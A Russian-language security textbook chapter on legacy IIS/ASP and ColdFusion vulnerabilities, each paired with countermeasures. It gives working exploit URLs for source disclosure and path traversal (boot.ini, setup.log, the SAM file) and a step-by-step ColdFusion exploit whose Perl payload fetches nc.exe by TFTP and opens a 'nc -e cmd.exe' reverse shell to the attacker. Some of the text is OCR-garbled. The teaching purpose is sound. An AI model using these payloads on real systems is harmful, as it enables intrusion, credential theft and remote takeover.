Уязвимость активных страниц сервера


Активные страницы сервера (ASP — Active Server Pages) представляют собой разработку компании Microsoft, аналогичную сценариям Perl и интерфейсу CG1 системы UNIX. Обычно написанный на языке VBScript, код ASP выполняет многое из того, что необходимо для поддержки состояния, обеспечения доступа к серверной части базы данных и отображения кода HTML в окне броузера. Одной из приятных особенностей страниц ASP является то, что они могут "на лету" генерировать страницы HTML. Другой малоприятной особенностью являются многочисленные изъяны страниц ASP, позволяющие взломщику просматривать их исходный код. Почему это плохо? Во-первых, потому, что взломщик, изучая логику программы, может обнаружить и другие изъяны. Во-вторых, он может найти в этих файлах такую важную информацию, как база данных имен и паролей пользователей.

Ошибка ASP, связанная с интерпретацией точки


Один из членов группы LOpht в 1997 году обнаружил ошибку, которая возникает, если одну или несколько точек поставить после адреса URL страницы ASP сервера IIS 3.0. При этом можно просмотреть исходный код ASP и проанализировать логику этой программы. Еще важнее то, что в данном файле можно найти такую важную информацию, как имена и пароли пользователей. Чтобы воспользоваться этой возможностью, нужно просто добавить точку после URL.

Контрмеры


Хорошая новость заключается в том, что компания Microsoft выпустила модуль обновления для сервера IIS 3.0. 
Однако имеется и плохая новость: выпушенный модуль обновления породил другой изъян. Замена в имени файла example, asp точки на ее шестнадцатеричное представление (0х2е) по-прежнему позволяет взломщику загрузить на свой компьютер файл с исходным кодом ASP. 

Уязвимость ASP, связанная с альтернативными потоками данных


Впервые об этом изъяне в бюллетене Bugtraq сообщил Пауль Эштон (Paul Ashton). В данном случае также можно загрузить исходный код страниц ASP. Этой возможностью легко воспользоваться, поэтому она стала довольно популярна среди новичков. Просто задайте URL в следующем формате.
http://192.168.51.101/scripts/file.asp::$DATA
Если метод сработал, броузер Netscape попросит указать место, в котором нужно сохранить файл. Броузер Internet Explorer по умолчанию покажет исходный файл в диалоговом окне. После этого его можно сохранить и просматривать в любом текстовом редакторе. 

Контрмеры


Для усиления защиты ограничьте доступ ко всем исходным файлам, отменив право на чтение для группы Everyone. В конце концов, для исходного код вполне достаточно разрешения на выполнение.

Изъяны showcode. asp и codebrws. asp


Рассмотрим еще один изъян, имеющий отношение к IIS 4.0, который связан с возможностью просмотра исходного кода ASP. Его отличие от рассмотренных выше ошибок заключается в том. что сам по себе этот изъян не является ошибкой, а представляет собой пример плохого программирования. Если в процессе установки сервера IIS 4.0 будут скопированы также файлы с примерами исходного кода ASP, то несколько плохо написанных файлов позволят взломщику загрузить на свой компьютер другие файлы. Проблема заключается в неспособности сценариев обрабатывать символы .., содержащиеся в пути к файлу. В следующем примере использование файла showcode.asp приведет к отображению файла boot.ini взламываемой системы (если доступ ограничен незначительно, то просмотреть можно любой файл).

http: //192.168. 51.101/msadc/Samples/
SELECTOR/showcode. asp?source=/../../../../../boot.ini

Точно так же, посредством файла codebrws.asp можно просмотреть любой файл, который находится на локальном диске. Как упоминалось в главе 13, можно попытаться найти файлы с расширением GIF программы pcAnywhere.

http://192.168.51.101/iissamples/exair/howitworks/
codebrws.asp?source=/../../../../../winnt/repair/setup.log

Изъяны showcode.asp и codebrws.asp невозможно использовать для корректной загрузки с целевого узла двоичных файлов. Причина заключается в том, что сценарий ASP обычно преобразовывает файлы. Преобразование такого файла, как SAM._, приведет к его повреждению и сделает его непригодным для использования. Однако это не помешает умелому хакеру восстановить структуру файла SAM и воспользоваться полученной информацией.

Контрмеры против использования изъянов в файлах АSР


Рассмотренные выше проблемы можно решить, установив модуль обновления сервера IIS. Этот модуль, а также статью Q232449 из базы знаний компании Microsoft, можно найти по адресу ftp://ftp.microsoft.com/ bussys/IIS/iis-public/ fixes/usa/Viewcode-fix/.

Изъян webhits.dll


Ряд проблем, связанных с возможностью просмотра файлов, был выявлен группой CIS (Cerberus Information Security). Эти изъяны связаны с приложением ISAPI webhits.dll. Эта динамически подключаемая библиотека реализует механизм выделения информации в процессе функционирования MS Index Server. Однако ее наличие делает возможным взлом, при котором злоумышленник просматривает важные исходные коды ASP или другую информацию, содержащуюся на локальном диске. Первая из возможных атак начинается с использования существующего файла . HTW для просмотра исходного кода.
Вторая атака связана с передачей системе имени несуществующего файла. В качестве основы используется существующий файл и символы пробела (%20), число которых превышает 230, и которые расположены между именем реального файла (default.asp) и расширением . HTW. При этом информационные службы Internet игнорируют расширение (.HTW) и предоставляют в распоряжение взломщика любой файл системы:

http://192.168.51.101/default.asp%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%2С%20%20%20 %20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%2 0%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%2С%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%2 0%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%
20%20%20%20%20%20
.htw?CiWebHitsFile=/../../../../../test.
txt&CiR estriction=none&CiHiliteType=Full

Третья .HTW-атака основана на использовании имени файла null.htw для помещения в окно броузера необработанного файла:

http://192.168.51.10I/null.htw?CiWebHitsFile=/../../../../../winnt/
repair/setup.log&CiRestriction=none&CiHiliteType=Full

Использование предыдущего адреса URL приведет к тому, что сервер IIS предоставит файл /winnt/repair/setup.log.

Контрмеры против использования изъянов библиотеки webhits.dll

Для предотвращения использования рассмотренных атак удалите приложения, связанные с файлами с расширением . HTW. Для этого откройте диалоговое окно с основными свойствами уязвимого сервера, а затем для службы WWW Service щелкните на кнопке Edit. Далее перейдите во вкладку Home Directory и щелкните на кнопке Configuration из группы Application Settings. При этом на экране появится следующее диалоговое окно.


Затем выделите строку, в которой указано приложение, связанное с файлами . HTW, и щелкните на кнопке Remove. После этого Web-сервер больше не будет обращаться к библиотеке webhits .dll, и, таким образом, этот изъян будет устранен.


Изъяны сервера ColdFusion


Специалистами группы LOpht было обнаружено несколько существенных изъянов в сервере приложений Cold Fusion, позволяющих осуществлять удаленный запуск команд на уязвимом Web-сервере. В процессе установки этого программного продукта вместе с ним копируются также примеры кода и интерактивная документация. Причиной обнаруженных изъянов послужили несколько примеров, взаимодействие которых не ограничивается только локальным узлом.
Первая из проблем связана с устанавливаемым по умолчанию файлом opnfile.cfm. Этот файл позволяет взломщику загрузить на Web-сервер любой файл. Другой файл, displayopenedfile.cfm, помещает этот файл в окно броузера. Кроме того, exprcalc.cfm анализирует загруженный файл и удаляет его (во всяком случае, он для этого предназначен). Используя только файл openfile.cfm, можно ввести систему в заблуждение, чтобы она не удаляла загруженный файл, а затем выполнить локально любую команду. Чтобы воспользоваться этой возможностью, выполните следующие действия.
1. Создайте файл, который при загрузке на удаленный Web-сервер приведет к выполнению локальной команды. Например, можно воспользоваться следующим сценарием Perl с именем test.pl.

systemC'tftp -i 192.168.51.100 GET nc.exe");
system("nc-e cmd.exe 192.168.51.100 3000");

Этот метод сработает в том случае, если на сервере Cold Fusion установлен интерпретатор языка Perl.
2. Задайте в броузере следующий адрес URL.

http://192.168.51.101/cfdocs/expeval/openfile.cfm

3. Укажите в поле Open File путь к созданному файлу и щелкните на кнопке ОК. 4. В адресе URL замените строку D:\INETPUB\WWWROOT\cfdocs\expeval\test.pl на полное имя файла exprcalc.cfm (с указанием пути), предназначенного для удаления загруженных в систему файлов. После внесения изменений URL должен выглядеть следующим образом.

http://192.168.51.101/cfdoce/expeval/ExprCalc.cfra?RequestTimeout=
2000&OpenFilePath-D:\lNETPOB\WWWROOT\cfdocs\expeval\exprcalc.cfm

5. В окне должно появиться содержимое файла exprcalc. cfm и он должен быть удален из системы. После этого все файлы, загруженные с помощью openfile.cfm, будут оставаться в удаленной системе.
6. Проделав еще раз описанные действия, загрузите повторно файл test.pl на удаленную систему. После этого данный файл (test.pl) будет ожидать вызова.
7. С помощью следующего URL запустите файл test.pl. http://192.168.51.101/cfdocs/expeval/test.pl
8. Если перед этим были запущены сервер TFTP и утилита netcat, то должно появиться следующее приглашение (т.е. командная строка, позволяющая выполнять команды с правами администратора). 

С:\>пс -1 -р 3000
Microsoft(R) Windows NT(TM)
(С) Copyright 1985-1996 Microsoft Corp.
D:\INETPUB\WWWROOT\cfdocs>

Контрмеры против использования изъянов сервера Cold Fusion


Для того чтобы предотвратить возможность использования изъянов Cold Fusion, можно воспользоваться двумя способами:

  •  Удалите все уязвимые сценарии.
  •  Примените к файлу exprcalc.cfm модуль обновления, который можно найти по адресу http://wwwl.allaire.com/handlers/index.cfm?ID=8727&Method=Full.